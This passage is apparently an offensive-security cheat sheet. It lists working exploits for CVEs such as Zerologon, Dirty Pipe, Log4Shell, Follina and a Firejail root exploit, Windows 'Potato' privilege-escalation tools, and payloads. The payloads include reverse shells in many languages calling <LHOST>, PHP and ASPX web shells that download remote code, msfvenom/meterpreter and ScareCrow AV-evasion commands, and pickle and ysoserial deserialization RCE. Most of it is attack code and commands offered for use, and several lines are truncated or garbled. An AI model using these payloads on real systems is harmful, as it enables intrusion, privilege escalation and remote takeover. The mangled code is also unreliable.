from impacket.dcerpc.v5.dtypes import NULL
from impacket.dcerpc.v5 import transport
from impacket import crypto

import hmac, hashlib, struct, sys, socket, time
from binascii import hexlify, unhexlify
from subprocess import check_call

# Give up brute-forcing after this many attempts. If vulnerable, 256 attempts are e
MAX_ATTEMPTS = 2000 # False negative chance: 0.04%

def fail(msg):
    print(msg, file=sys.stderr)
    print('This might have been caused by invalid arguments or network issues.', file=
sys.exit(2)

def try_zero_authenticate(dc_handle, dc_ip, target_computer):
    # Connect to the DC's Netlogon service.
    binding = epm.hept_map(dc_ip, nrpc.MSRPC_UUID_NRPC, protocol='ncacn_ip_tcp')
    rpc_con = transport.DCERPCTransportFactory(binding).get_dce_rpc()
    rpc_con.connect()
    rpc_con.bind(nrpc.MSRPC_UUID_NRPC)
```



```

# Use an all-zero challenge and credential.
plaintext = b'\x00' * 8
ciphertext = b'\x00' * 8

# Standard flags observed from a Windows 10 client (including AES), with only the
flags = 0x212ffffff

# Send challenge and authentication request.
nrpc.hNetrServerReqChallenge(rpc_con, dc_handle + '\x00', target_computer + '\x00
try:
    server_auth = nrpc.hNetrServerAuthenticate3(
        rpc_con, dc_handle + '\x00', target_computer + '$\x00', nrpc.NETLOGON_SECURE_
        target_computer + '\x00', ciphertext, flags
    )

# It worked!
assert server_auth['ErrorCode'] == 0
newPassRequest = nrpc.NetrServerPasswordSet2()
newPassRequest['PrimaryName'] = dc_handle + '\x00'
newPassRequest['AccountName'] = target_computer + '$\x00'
newPassRequest['SecureChannelType'] = nrpc.NETLOGON_SECURE_CHANNEL_TYPE.ServerS
auth = nrpc.NETLOGON_AUTHENTICATOR()
auth['Credential'] = b'\x00' * 8
auth['Timestamp'] = 0
newPassRequest['Authenticator'] = auth
newPassRequest['ComputerName'] = target_computer + '\x00'
newPassRequest['ClearNewPassword'] = b'\x00' * 516
rpc_con.request(newPassRequest)
return rpc_con

except nrpc.DCERPCSessionError as ex:
    # Failure should be due to a STATUS_ACCESS_DENIED error. Otherwise, the attack :
    if ex.get_error_code() == 0xc0000022:
        return None
    else:
        fail(f'Unexpected error code from DC: {ex.get_error_code()}.'.)
except BaseException as ex:
    fail(f'Unexpected error: {ex}.'.)

def perform_attack(dc_handle, dc_ip, target_computer):
    # Keep authenticating until succesfull. Expected average number of attempts needed
    print('Performing authentication attempts...')
    rpc_con = None
    for attempt in range(0, MAX_ATTEMPTS):
        rpc_con = try_zero_authenticate(dc_handle, dc_ip, target_computer)

```

```
if not rpc_con:
    print('=', end='', flush=True)
else:
    break

if rpc_con:
    print('\nSuccess! DC can be fully compromised by a Zerologon attack.')
else:
    print('\nAttack failed. Target is probably patched.')
    sys.exit(1)

if __name__ == '__main__':
    if not (3 <= len(sys.argv) <= 4):
        print('Usage: zerologon_tester.py <dc-name> <dc-ip>\n')
        print('Tests whether a domain controller is vulnerable to the Zerologon attack.')
        print('Note: dc-name should be the (NetBIOS) computer name of the domain controller')
        sys.exit(1)
    else:
        [_, dc_name, dc_ip] = sys.argv

        dc_name = dc_name.rstrip('$')
        perform_attack('\\\\' + dc_name, dc_ip, dc_name)
```

## Execution

```
python3 zerologon_tester.py <HANDLE> <RHOST>
impacket-secretsdump -just-dc -no-pass <HANDLE>\$@<RHOST>
```

## CVE-2021-3156: Sudo / sudoedit LPE

<https://tinyurl.com/2x2e6uvd>

### Pre-requisites

- Ubuntu 20.04 (Sudo 1.8.31)
- Debian 10 (Sudo 1.8.27)
- Fedora 33 (Sudo 1.9.2)
- All legacy versions  $\geq 1.8.2$  to 1.8.31p2 and all stable versions  $\geq 1.9.0$  to 1.9.5p1

### Vulnerability Test

```
sudoedit -s /
```

The machine is vulnerable if one of the following message is shown.

```
sudoedit: /: not a regular file  
segfault
```

Not vulnerable if the error message starts with usage: .

### CVE-2021-44228: Log4Shell RCE (0-day)

<https://tinyurl.com/yxsoh3bj>

#### Pre-requisites

<https://tinyurl.com/v578bdj>

```
tar -xvf jdk-8u20-linux-x64.tar.gz
```

#### Start the Listener

```
python poc.py --userip <LHOST> --webport <RPORT> --lport <LPORT>
```

#### Execution

```
${jndi:ldap://<LHOST>:1389/foobar}
```

### CVE-2022-0847: Dirty Pipe LPE

```
gcc -o dirtypipe dirtypipe.c  
./dirtypipe /etc/passwd 1 ootz:  
su rootz
```

### CVE-2022-22963: Spring4Shell RCE (0-day)

<https://tinyurl.com/yo96mvw5>

```
curl -X POST http://<RHOST>/functionRouter -H 'spring.cloud.function.routing-express:
```

```
curl -X POST http://<RHOST>/functionRouter -H 'spring.cloud.function.routing-express:
```

## CVE-2022-30190: MS-MSDT Follina RCE

<https://tinyurl.com/23hee338>

```
python3 follina.py -p 80 -c 'powershell.exe Invoke-WebRequest http://<LHOST>:8000/n
```

```
python3 -m http.server 8000
```

```
nc -lnvp <LPORT>
```

```
swaks --to <EMAIL> --from <EMAIL> --server <RHOST> --body "http://<LHOST>/"
```

## CVE-2022-31214: Firejail LPE

<https://tinyurl.com/yI9bg39s>

<https://tinyurl.com/yo2v7szj>

```
#!/usr/bin/python3
```

```
# Author: Matthias Gerstner <matthias.gerstner () suse com>
```

```
#
```

```
# Proof of concept local root exploit for a vulnerability in Firejail 0.9.68  
# in joining Firejail instances.
```

```
#
```

```
# Prerequisites:
```

```
# - the firejail setuid-root binary needs to be installed and accessible to the  
# invoking user
```

```
#
```

```
# Exploit: The exploit tricks the Firejail setuid-root program to join a fake  
# Firejail instance. By using tmpfs mounts and symlinks in the unprivileged  
# user namespace of the fake Firejail instance the result will be a shell that  
# lives in an attacker controller mount namespace while the user namespace is
```

```
# still the initial user namespace and the nonewprivs setting is unset,
# allowing to escalate privileges via su or sudo.

import os
import shutil
import stat
import subprocess
import sys
import tempfile
import time
from pathlib import Path

# Print error message and exit with status 1
def printe(*args, **kwargs):
    kwargs['file'] = sys.stderr
    print(*args, **kwargs)
    sys.exit(1)

# Return a boolean whether the given file path fulfils the requirements for the
# exploit to succeed:
# - owned by uid 0
# - size of 1 byte
# - the content is a single '1' ASCII character
def checkFile(f):
    s = os.stat(f)

    if s.st_uid != 0 or s.st_size != 1 or not stat.S_ISREG(s.st_mode):
        return False

    with open(f) as fd:
        ch = fd.read(2)

        if len(ch) != 1 or ch != "1":
            return False

    return True

def mountTmpFS(loc):
    subprocess.check_call("mount -t tmpfs none".split() + [loc])

def bindMount(src, dst):
    subprocess.check_call("mount --bind".split() + [src, dst])

def checkSelfExecutable():
    s = os.stat(__file__)

    if (s.st_mode & stat.S_IXUSR) == 0:
        printe(f"{__file__} needs to have the execute bit set for the exploit to wo
```

```
# This creates a "helper" sandbox that serves the purpose of making available
# a proper "join" file for symlinking to as part of the exploit later on.
#
# Returns a tuple of (proc, join_file), where proc is the running subprocess
# (it needs to continue running until the exploit happened) and join_file is
# the path to the join file to use for the exploit.
def createHelperSandbox():
    # just run a long sleep command in an unsecured sandbox
    proc = subprocess.Popen(
        "firejail --noprofile -- sleep 10d".split(),
        stderr=subprocess.PIPE)

    # read out the child PID from the stderr output of firejail
    while True:
        line = proc.stderr.readline()
        if not line:
            raise Exception("helper sandbox creation failed")

        # on stderr a line of the form "Parent pid <ppid>, child pid <pid>" is output
        line = line.decode('utf8').strip().lower()
        if line.find("child pid") == -1:
            continue

        child_pid = line.split()[-1]

        try:
            child_pid = int(child_pid)
            break
        except Exception:
            raise Exception("failed to determine child pid from helper sandbox")

    # We need to find the child process of the child PID, this is the
    # actual sleep process that has an accessible root filesystem in /proc
    children = f"/proc/{child_pid}/task/{child_pid}/children"

    # If we are too quick then the child does not exist yet, so sleep a bit
    for _ in range(10):
        with open(children) as cfd:
            line = cfd.read().strip()
            kids = line.split()
            if not kids:
                time.sleep(0.5)
                continue
            elif len(kids) != 1:
                raise Exception(f"failed to determine sleep child PID from helper s:

        try:
```

```

        sleep_pid = int(kids[0])
        break
    except Exception:
        raise Exception("failed to determine sleep child PID from helper sai
else:
    raise Exception(f"sleep child process did not come into existence in {child

join_file = f"/proc/{sleep_pid}/root/run/firejail/mnt/join"
if not os.path.exists(join_file):
    raise Exception(f"join file from helper sandbox unexpectedly not found at {

return proc, join_file

# Re-executes the current script with unshared user and mount namespaces
def reexecUnshared(join_file):

    if not checkFile(join_file):
        printe(f"{join_file}: this file does not match the requirements (owner uid (

os.environ["FIREJOIN_JOINFILE"] = join_file
os.environ["FIREJOIN_UNSHARED"] = "1"

unshare = shutil.which("unshare")
if not unshare:
    printe("could not find 'unshare' program")

cmdline = "unshare -U -r -m".split()
cmdline += [__file__]

# Re-execute this script with unshared user and mount namespaces
subprocess.call(cmdline)

if "FIREJOIN_UNSHARED" not in os.environ:
    # First stage of execution, we first need to fork off a helper sandbox and
    # an exploit environment
    checkSelfExecutable()
    helper_proc, join_file = createHelperSandbox()
    reexecUnshared(join_file)

    helper_proc.kill()
    helper_proc.wait()
    sys.exit(0)
else:
    # We are in the sandbox environment, the suitable join file has been
    # forwarded from the first stage via the environment
    join_file = os.environ["FIREJOIN_JOINFILE"]

# We will make /proc/1/ns/user point to this via a symlink

```

```
time_ns_src = "/proc/self/ns/time"

# Make the firejail state directory writeable, we need to place a symlink to
# the fake join state file there
mountTmpFS("/run/firejail")
# Mount a tmpfs over the proc state directory of the init process, to place a
# symlink to a fake "user" ns there that firejail thinks it is joining
try:
    mountTmpFS("/proc/1")
except subprocess.CalledProcessError:
    # This is a special case for Fedora Linux where SELinux rules prevent us
    # from mounting a tmpfs over proc directories.
    # We can still circumvent this by mounting a tmpfs over all of /proc, but
    # we need to bind-mount a copy of our own time namespace first that we can
    # symlink to.
    with open("/tmp/time", 'w') as _:
        pass
    time_ns_src = "/tmp/time"
    bindMount("/proc/self/ns/time", time_ns_src)
    mountTmpFS("/proc")

FJ_MNT_ROOT = Path("/run/firejail/mnt")

# Create necessary intermediate directories
os.makedirs(FJ_MNT_ROOT)
os.makedirs("/proc/1/ns")

# Firejail expects to find the umask for the "container" here, else it fails
with open(FJ_MNT_ROOT / "umask", 'w') as umask_fd:
    umask_fd.write("022")

# Create the symlink to the join file to pass Firejail's sanity check
os.symlink(join_file, FJ_MNT_ROOT / "join")
# Since we cannot join our own user namespace again fake a user namespace that
# is actually a symlink to our own time namespace. This works since Firejail
# calls setns() without the nstype parameter.
os.symlink(time_ns_src, "/proc/1/ns/user")

# The process joining our fake sandbox will still have normal user privileges,
# but it will be a member of the mount namespace under the control of *this*
# script while *still* being a member of the initial user namespace.
# 'no_new_privs' won't be set since Firejail takes over the settings of the
# target process.
#
# This means we can invoke setuid-root binaries as usual but they will operate
# in a mount namespace under our control. To exploit this we need to adjust
# file system content in a way that a setuid-root binary grants us full
# root privileges. 'su' and 'sudo' are the most typical candidates for it.
```



```
#
# The tools are hardened a bit these days and reject certain files if not owned
# by root e.g. /etc/sudoers. There are various directions that could be taken,
# this one works pretty well though: Simply replacing the PAM configuration
# with one that will always grant access.
with tempfile.NamedTemporaryFile('w') as tf:
    tf.write("auth sufficient pam_permit.so\n")
    tf.write("account sufficient pam_unix.so\n")
    tf.write("session sufficient pam_unix.so\n")

# Be agnostic about the PAM config file location in /etc or /usr/etc
for pamd in ("/etc/pam.d", "/usr/etc/pam.d"):
    if not os.path.isdir(pamd):
        continue
    for service in ("su", "sudo"):
        service = Path(pamd) / service
        if not service.exists():
            continue
        # Bind mount over new "helpful" PAM config over the original
        bindMount(tf.name, service)

print(f"You can now run 'firejail --join={os.getpid()}' in another terminal to obta.

while True:
    line = sys.stdin.readline()
    if not line:
        break
```

## First Terminal

```
./firejoin_py.bin
You can now run 'firejail --join=193982' in another terminal to obtain a shell where
```

## Second Terminal

```
firejail --join=193982
su
```

## CVE-2023-21746: Windows NTLM EoP LocalPotato LPE

<https://tinyurl.com/ysjn82mr>

<https://tinyurl.com/yoszh6zz>

Modify the following file and build the solution.

StorSvc\RpcClient\RpcClient\storsvc\_c.c

```
#if defined(_M_AMD64)

//#define WIN10
//#define WIN11
#define WIN2019
//#define WIN2022
```

Modify the following file and build the solution.

StorSvc\SprintCSP\SprintCSP\main.c

```
void DoStuff() {

    // Replace all this code by your payload
    STARTUPINFO si = { sizeof(STARTUPINFO) };
    PROCESS_INFORMATION pi;
    CreateProcess(L"c:\\windows\\system32\\cmd.exe",L" /C net localgroup administra
        NULL, NULL, FALSE, NORMAL_PRIORITY_CLASS, NULL, L"C:\\Windows", &si, &pi);

    CloseHandle(pi.hProcess);
    CloseHandle(pi.hThread);

    return;
}
```

First get the paths from the environment ,then use LocalPotato to place the malicious DLL .

```
reg query "HKLM\SYSTEM\CurrentControlSet\Control\Session Manager\Environment" -v Pa
LocalPotato.exe -i SprintCSP.dll -o \Windows\System32\SprintCSP.dll
```

At least trigger StorSvc via RpcClient.exe .

.\RpcClient.exe

## CVE-2023-22809: Sudo Bypass

<https://tinyurl.com/2p9dsjlf>

### Prerequisites

- Sudo version needs to be  $\geq 1.8$  and  $< 1.9.12p2$ .
- Limited Sudo access to at least one file on the system that requires root access.

### Example

```
test ALL=(ALL:ALL) NOPASSWD: sudoedit /etc/motd
```

### Exploitation

```
EDITOR="vi -- /etc/passwd" sudoedit /etc/motd
```

```
sudoedit /etc/motd
```

## CVE-2023-23397: Microsoft Outlook (Click-to-Run) PE (0-day) (PowerShell Implementation)

```
Import-Module .\CVE-2023-23397.ps1  
Send-CalendarNTLMLeak -recipient "<EMAIL>" -remotefilepath "\\<LHOST>\<FILE>.wav" -i
```

## CVE-2023-32629, CVE-2023-2640: GameOverlay Ubuntu Kernel Exploit LPE (0-day)

- Linux ubuntu2204 5.19.0-46-generic

```
unshare -rm sh -c "mkdir l u w m && cp /u*/b*/p*3 l/; setcap cap_setuid+eip l/pythor
```

## CVE-2023-4911: Looney Tunables LPE

```
python3 gen_libc.py  
[*] '/lib/x86_64-linux-gnu/libc.so.6'  
Arch: amd64-64-little  
RELRO: Partial RELRO
```

```
Stack:    Canary found
NX:      NX enabled
PIE:     PIE enabled
```

```
gcc -o exp exp.c
./exp
```

## GodPotato LPE

<https://tinyurl.com/2a3qo93f>

```
.\GodPotato-NET4.exe -cmd '<COMMAND>'
```

## Juicy Potato LPE

<https://tinyurl.com/ybokbztq>

<https://tinyurl.com/ywr2bbfv>

## GetCLSID.ps1

```
<#
This script extracts CLSIDs and AppIDs related to LocalService.DESRIPTION
Then exports to CSV
#>

$ErrorActionPreference = "Stop"

New-PSDrive -Name HKCR -PSProvider Registry -Root HKEY_CLASSES_ROOT

Write-Output "Looking for CLSIDs"
$CLSID = @()
Foreach($ID in (Get-ItemProperty HKCR:\clsid\* | select-object AppID,@{N='CLSID'; E:
    if ($ID.appid -ne $null){
        $CLSID += $ID
    }
})

Write-Output "Looking for APIDs"
$APPID = @()
Foreach($AID in (Get-ItemProperty HKCR:\appid\* | select-object localservice,@{N='A|
    if ($AID.LocalService -ne $null){
```

```

        $APPID += $AID
    }
}

Write-Output "Joining CLSIDs and APIDs"
$RESULT = @(
Foreach ($app in $APPID){
    Foreach ($CLS in $CLSID){
        if($CLS.AppId -eq $app.AppID){
            $RESULT += New-Object psobject -Property @{
                AppId      = $app.AppId
                LocalService = $app.LocalService
                CLSID = $CLS.CLSID
            }
        }
    }
    break
}
}

$RESULT = $RESULT | Sort-Object LocalService

# Preparing to Output
$OS = (Get-WmiObject -Class Win32_OperatingSystem | ForEach-Object -MemberName Capt.
$TARGET = $OS -Replace " ", "_"

# Make target folder
New-Item -ItemType Directory -Force -Path .\$TARGET

# Output in a CSV
$RESULT | Export-Csv -Path ".$TARGET\CLSIDs.csv" -Encoding ascii -NoTypeInfoatio

# Export CLSIDs list
$RESULT | Select CLSID -ExpandProperty CLSID | Out-File -FilePath ".$TARGET\CLSID.

# Visual Table
$RESULT | ogv

```

## Execution

```
.\JuicyPotato.exe -l 1337 -c "{4991d34b-80a1-4291-83b6-3328366b9097}" -p C:\Windows'
```

## JuicyPotatoNG LPE

<https://tinyurl.com/2dq9ve6n>

```
.\JuicyPotatoNG.exe -t * -p "C:\Windows\system32\cmd.exe" -a "/c whoami"
```

## MySQL 4.x/5.0 User-Defined Function (UDF) Dynamic Library (2) LPE

<https://tinyurl.com/zscyuuc/exploits/1518>

```
gcc -g -c raptor_udf2.c -fPIC
gcc -g -shared -Wl,-soname,raptor_udf2.so -o raptor_udf2.so raptor_udf2.o -lc
```

```
mysql -u root
```

```
> use mysql;
> create table foo(line blob);
> insert into foo values(load_file('/PATH/TO/SHARED_OBJECT/raptor_udf2.so'));
> select * from foo into outfile '/usr/lib/mysql/plugin/raptor_udf2.so';
> create function do_system returns integer soname 'raptor_udf2.so';
> select do_system('chmod +s /bin/bash');
```

## PrintSpoofer LPE

<https://tinyurl.com/yw7rvx9n>

```
.\PrintSpoofer64.exe -i -c powershell
```

## SharpEfsPotato LPE

<https://tinyurl.com/ymoyb85q>

```
SharpEfsPotato.exe -p C:\Windows\system32\WindowsPowerShell\v1.0\powershell.exe -a '
```

## Shocker Container Escape

<https://tinyurl.com/ywouk33h>

## Modifying Exploit

```
// get a FS reference from something mounted in from outside
if ((fd1 = open("/etc/hostname", O_RDONLY)) < 0)
    die("[+] open");

if (find_handle(fd1, "/root/root.txt", &root_h, &h) <= 0)
    die("[+] Cannot find valid handle!");
```

## Compiling

```
gcc shocker.c -o shocker
cc -Wall -std=c99 -O2 shocker.c -static
```

## Payloads

### Donut

```
donut -a 2 -f 1 -o donutpayload.bin shellcode.exe
```

### Exiftool

#### PHP into JPG Injection

```
exiftool -Comment='<?php passthru("rm /tmp/f;mkfifo /tmp/f;cat /tmp/f|/bin/sh -i 2>&
exiv2 -c'A "<?php system($_REQUEST['cmd']);?>"!<' <FILE>.jpeg
exiftool "-comment<=back.php" back.png
exiftool -Comment='<?php echo "<pre>"; system($_GET['cmd']); ?>' <FILE>.png
```

### GhostScript

```
%!PS-Adobe-3.0 EPSF-3.0
%%BoundingBox: -0 -0 100 100
userdict /setpagedevice undef
save
legal
{ null restore } stopped { pop } if
{ legal } stopped { pop } if
restore
mark /OutputFile (%pipe%cat flag > /app/application/static/petpets/flag.txt) curren
```

## nishang

```
cd path/to/nishang/Shells/
cp Invoke-PowerShellTcp.ps1 Invoke-PowerShellTcp.ps1
```

```
tail -3 Invoke-PowerShellTcp.ps1
}
```

```
Invoke-PowerShellTcp -Reverse -IPAddress <LHOST> -Port <LPORT>
```

```
powershell "IEX(New-Object Net.Webclient).downloadString('http://<LHOST>:<LPORT>/In'
```

## Reverse Shells

### Bash Reverse Shell

```
bash -i >& /dev/tcp/<LHOST>/<LPORT> 0>&1
bash -c 'bash -i >& /dev/tcp/<LHOST>/<LPORT> 0>&1'
echo -n '/bin/bash -c "bin/bash -i >& /dev/tcp/<LHOST>/<LPORT> 0>&1"' | base64
```

### curl Reverse Shell

```
curl --header "Content-Type: application/json" --request POST http://<RHOST>:<RPORT>
```

### Groovy (Jenkins) Reverse Shell

```
String host="<LHOST>";
int port=<LPORT>;
String cmd="/bin/bash";
Process p=new ProcessBuilder(cmd).redirectErrorStream(true).start();Socket s=new So
```

### JAVA Reverse Shell

```
r = Runtime.getRuntime()
p = r.exec(["/bin/bash","-c","exec 5<>/dev/tcp/<LHOST>/<LPORT>;cat <&5 | while read
p.waitFor()

r = Runtime.getRuntime(); p = r.exec(["/bin/bash","-c","exec 5<>/dev/tcp/<LHOST>/<LI
```



## shell.jar

```

package <NAME>;

import org.bukkit.plugin.java.JavaPlugin;

import java.io.IOException;
import java.nio.file.Files;
import java.nio.file.Paths;
import java.nio.file.StandardOpenOption;

public class Main extends JavaPlugin {
    @Override
    public void onDisable() {
        super.onDisable();
    }

    @Override
    public void onEnable() {
        final String PHP_CODE = "<?php system($_GET['cmd']); ?>";
        try {
            Files.write(Paths.get("/var/www/<RHOST>/shell.php"), PHP_CODE.getBytes(), StandardOpenOption.CREATE, StandardOpenOption.WRITE);
        } catch (IOException e) {
            e.printStackTrace();
        }

        super.onEnable();
    }
}

```

## Lua Reverse Shell

```
http://<RHOST>');os.execute("rm /tmp/f;mkfifo /tmp/f;cat /tmp/f|/bin/sh -i 2>&1|nc <LHOST> <LPORT>");
```

## Markdown Reverse Shell

```
--';bash -i >& /dev/tcp/<LHOST>/<LPORT> 0>&1;!--
```

## mkfifo Reverse Shell

```
mkfifo /tmp/shell; nc <LHOST> <LPORT> 0</tmp/shell | /bin/sh >/tmp/shell 2>&1; rm /tmp/shell
```

## Netcat Reverse Shell

```
nc -e /bin/sh <LHOST> <LPORT>
```

## Perl Reverse Shell

```
perl -e 'use Socket;$i="<LHOST>";$p=<LPORT>;socket(S,PF_INET,SOCK_STREAM,getprotoby
```

## PHP Reverse Shell

```
php -r '$sock=fsockopen("<LHOST>",<LPORT>);exec("/bin/sh -i <&3 >&3 2>&3");'
```

## PowerShell Reverse Shell

```
$client = New-Object System.Net.Sockets.TCPClient('<LHOST>',<LPORT>);$stream = $cli
```

```
powershell -nop -c "$client = New-Object System.Net.Sockets.TCPClient('<LHOST>',<LPORT>);$stream = $client.GetStream();$writer = New-Object System.IO.StreamWriter($stream);$buffer = new-object System.Byte[] 1024;$encoding = new-object System.Text.AsciiEncoding;do { $writer.Flush(); $read = $null; $res = "" while($stream.DataAvailable -or $read -eq $null) { $read = $stream.Read($buffer, 0, 1024) } $out = $encoding.GetString($buffer, 0, $read).Replace("`r`n","").Replace("`n","")
```

```
powershell -nop -exec bypass -c '$client = New-Object System.Net.Sockets.TCPClient('<LHOST>',<LPORT>);$stream = $client.GetStream();$writer = New-Object System.IO.StreamWriter($stream);$buffer = new-object System.Byte[] 1024;$encoding = new-object System.Text.AsciiEncoding;do { $writer.Flush(); $read = $null; $res = "" while($stream.DataAvailable -or $read -eq $null) { $read = $stream.Read($buffer, 0, 1024) } $out = $encoding.GetString($buffer, 0, $read).Replace("`r`n","").Replace("`n","")
```

## minireverse.ps1

```
$socket = new-object System.Net.Sockets.TcpClient('127.0.0.1', 413);  
if($socket -eq $null){exit 1}  
$stream = $socket.GetStream();  
$writer = new-object System.IO.StreamWriter($stream);  
$buffer = new-object System.Byte[] 1024;  
$encoding = new-object System.Text.AsciiEncoding;  
do  
{  
    $writer.Flush();  
    $read = $null;  
    $res = ""  
    while($stream.DataAvailable -or $read -eq $null) {  
        $read = $stream.Read($buffer, 0, 1024)  
    }  
    $out = $encoding.GetString($buffer, 0, $read).Replace("`r`n","").Replace("`n","")
```

```

if(!$out.equals("exit")){
    $args = "";
    if($out.IndexOf(' ') -gt -1){
        $args = $out.substring($out.IndexOf(' ')+1);
        $out = $out.substring(0,$out.IndexOf(' '));
        if($args.split(' ').length -gt 1){
            $pinfo = New-Object System.Diagnostics.ProcessStartInfo
            $pinfo.FileName = "cmd.exe"
            $pinfo.RedirectStandardError = $true
            $pinfo.RedirectStandardOutput = $true
            $pinfo.UseShellExecute = $false
            $pinfo.Arguments = "/c $out $args"
            $p = New-Object System.Diagnostics.Process
            $p.StartInfo = $pinfo
            $p.Start() | Out-Null
            $p.WaitForExit()
            $stdout = $p.StandardOutput.ReadToEnd()
            $stderr = $p.StandardError.ReadToEnd()
            if ($p.ExitCode -ne 0) {
                $res = $stderr
            } else {
                $res = $stdout
            }
        }
        else{
            $res = (&"$out" "$args") | out-string;
        }
    }
    else{
        $res = (&"$out") | out-string;
    }
    if($res -ne $null){
        $writer.WriteLine($res)
    }
}
}While (!$out.equals("exit"))
$writer.close();
$socket.close();
$stream.Dispose()

```

## Python Reverse Shell

```
python -c 'import socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_S'
```

```
python3 -c 'import socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_!
```

```
python -c 'import pty,subprocess,os,time;(master,slave)=pty.openpty();p=subprocess.l
```

```
echo python3 -c 'import socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.!
```

## Ruby Reverse Shell

```
ruby -rsocket -e'f=TCPSocket.open("<LHOST>",<LPORT>).to_i;exec sprintf("/bin/sh -i .
```

## ScareCrow

### Payloads

#### Shellcode Payload Creation with msfvenom

```
msfvenom -a x64 -p windows/x64/meterpreter/reverse_https LHOST=<LHOST> LPORT=8443 -.
```

#### .msi-File Payload Creation with msfvenom

```
msfvenom -a x64 -p windows/x64/meterpreter/reverse_https LHOST=<LHOST> LPORT=8443 -.
```

## Listener

```
msf6 > use exploit/multi/handler  
msf6 > set payload windows/x64/meterpreter/reverse_https
```

## Obfuscation

### DLL Side-Loading

```
ScareCrow -I <FILE>.bin -Loader dll -domain <FAKE_DOMAIN>
```

## Windows Script Host

```
ScareCrow -I <FILE>.bin -Loader msixexec -domain <FAKE_DOMAIN> -O payload.js
```

## Control Panel Files

```
ScareCrow -I <FILE>.bin -Loader control -domain <FAKE_DOMAIN>
```

## Renaming Payload

```
mv <FILE>.dll <FILE>32.dll
```

## Execution

```
rundll32.exe .\<FILE>32.dll,DllRegisterServer
```

or

```
regsvr32 /s .\<FILE>32.dll
```

For .cpl-Files a simple double click is enough to execute them.

## Shikata Ga Nai

```
msfvenom -p windows/shell_reverse_tcp LHOST=<LHOST> LPORT=<LPORT> -f c -a x86 --pla
```

```
msfvenom -a x86 --platform windows -p windows/shell/reverse_tcp LHOST=<LHOST> LPORT:
```

## Web Shells

### PHP Web Shell

```
<?php system($_GET['cmd']); ?>  
<?php echo exec($_POST['cmd']); ?>  
<?php echo passthru($_GET['cmd']); ?>  
<?php passthru($_REQUEST['cmd']); ?>  
<?php echo system($_REQUEST['shell']): ?>
```

## ysoserial

```
java -jar ysoserial-master-SNAPSHOT.jar
java -jar ysoserial-master-SNAPSHOT.jar CommonsCollections1 'nc <LHOST> <LPORT> -e ,
java -jar ysoserial.jar Groovy1 calc.exe > groovypayload.bin
java -jar ysoserial-master-6eca5bc740-1.jar CommonsCollections4 "$jex" > /tmp/$filei
```

## Templates

### ASPX Web Shell

```
<?xml version="1.0" encoding="UTF-8"?>
<configuration>
  <system.webServer>
    <handlers accessPolicy="Read, Script, Write">
      <add name="web_config" path="*.config" verb="*" modules="IsapiModule" scrip
    </handlers>
    <security>
      <requestFiltering>
        <fileExtensions>
          <remove fileExtension=".config" />
        </fileExtensions>
        <hiddenSegments>
          <remove segment="web.config" />
        </hiddenSegments>
      </requestFiltering>
    </security>
  </system.webServer>
</configuration>
<!-- ASP code comes here! It should not include HTML comment closing tag and double
<%
Set s = CreateObject("WScript.Shell")
Set cmd = s.Exec("cmd /c powershell -c IEX (New-Object Net.Webclient).downloadstring
o = cmd.StdOut.ReadAll()
Response.write(o)
%>
-->
```

### Bad YAML

```
- hosts: localhost
  tasks:
    - name: badyaml
```

```
command: chmod +s /bin/bash
```

## Exploit Skeleton Python Script

```
#!/usr/bin/python

import socket,sys

address = '127.0.0.1'
port = 9999
buffer = #TBD

try:
    print '[+] Sending buffer'
    s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
    s.connect((address,port))
    s.recv(1024)
    s.send(buffer + '\r\n')
except:
    print '[!] Unable to connect to the application.'
    sys.exit(0)
finally:
    s.close()
```

## JSON POST Request

```
POST /<path> HTTP/1.1
Host: <RHOST>
User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:78.0) Gecko/20100101 Firefox/78.0
Accept: */*
Accept-Language: en-US,en;q=0.5
Content-Type: application/json
Content-Length: 95
Connection: close

{
  "auth":{
    "name":"<USERNAME>",
    "password":"<PASSWORD>"
  },
  "filename":"<FILE>"
}
```

## Python Pickle RCE

```
import pickle
import sys
import base64

command = 'rm /tmp/f; mkfifo /tmp/f; cat /tmp/f | /bin/sh -i 2>&1 | netcat <LHOST> .

class rce(object):
    def __reduce__(self):
        import os
        return (os.system, (command,))

print(base64.b64encode(pickle.dumps(rce()))

import base64
import pickle
import os

class RCE:
    def __reduce__(self):
        cmd = ("/bin/bash -c 'exec bash -i &>/dev/tcp/<LHOST>/<LPORT> <&1''")
        return = os.system, (cmd, )

if __name__ == '__main__':
    pickle = pickle.dumps(RCE())
    print(base64.b64encode(pickled))
```

## Python Redirect for SSRF

```
#!/usr/bin/python3
import sys
from http.server import HTTPServer, BaseHTTPRequestHandler

class Redirect(BaseHTTPRequestHandler):
    def do_GET(self):
        self.send_response(302)
        self.send_header('Location', sys.argv[1])
        self.end_headers()

HTTPServer(("0.0.0.0", 80), Redirect).serve_forever()
```



```
sudo python3 redirect.py https://tinyurl.com/yjs6w2
```

```
#!/usr/bin/env python
```

```
import SimpleHTTPServer
```

```
import SocketServer
```

```
import sys
```

```
import argparse
```

```
def redirect_handler_factory(url):
```

```
    """
```

```
    returns a request handler class that redirects to supplied `url`
```

```
    """
```

```
class RedirectHandler(SimpleHTTPServer.SimpleHTTPRequestHandler):
```

```
    def do_GET(self):
```

```
        self.send_response(301)
```

```
        self.send_header('Location', url)
```

```
        self.end_headers()
```

```
    def do_POST(self):
```

```
        self.send_response(301)
```

```
        self.send_header('Location', url)
```

```
        self.end_headers()
```

```
    return RedirectHandler
```

```
def main():
```

```
    parser = argparse.ArgumentParser(description='HTTP redirect server')
```

```
    parser.add_argument('--port', '-p', action="store", type=int, default=80, help=
```

```
    parser.add_argument('--ip', '-i', action="store", default="", help='host interf
```

```
    parser.add_argument('redirect_url', action="store")
```

```
    myargs = parser.parse_args()
```

```
    redirect_url = myargs.redirect_url
```

```
    port = myargs.port
```

```
    host = myargs.ip
```

```
    redirectHandler = redirect_handler_factory(redirect_url)
```

```
    handler = SocketServer.TCPServer((host, port), redirectHandler)
```

```
    print("serving at port %s" % port)
```

```
handler.serve_forever()

if __name__ == "__main__":
    main()
```

## Python Web Request

```
import requests
import re

http_proxy = "https://tinyurl.com/hdorn"
proxyDict = {
    "http" : http_proxy,
}
// get a session
r = requests.get('http://')
// send request
r = requests.post('<RHOST>', data={'key': 'value'}, cookies={'PHPSESSID': r.cookies
```

## XML External Entity (XXE)

### Request

```
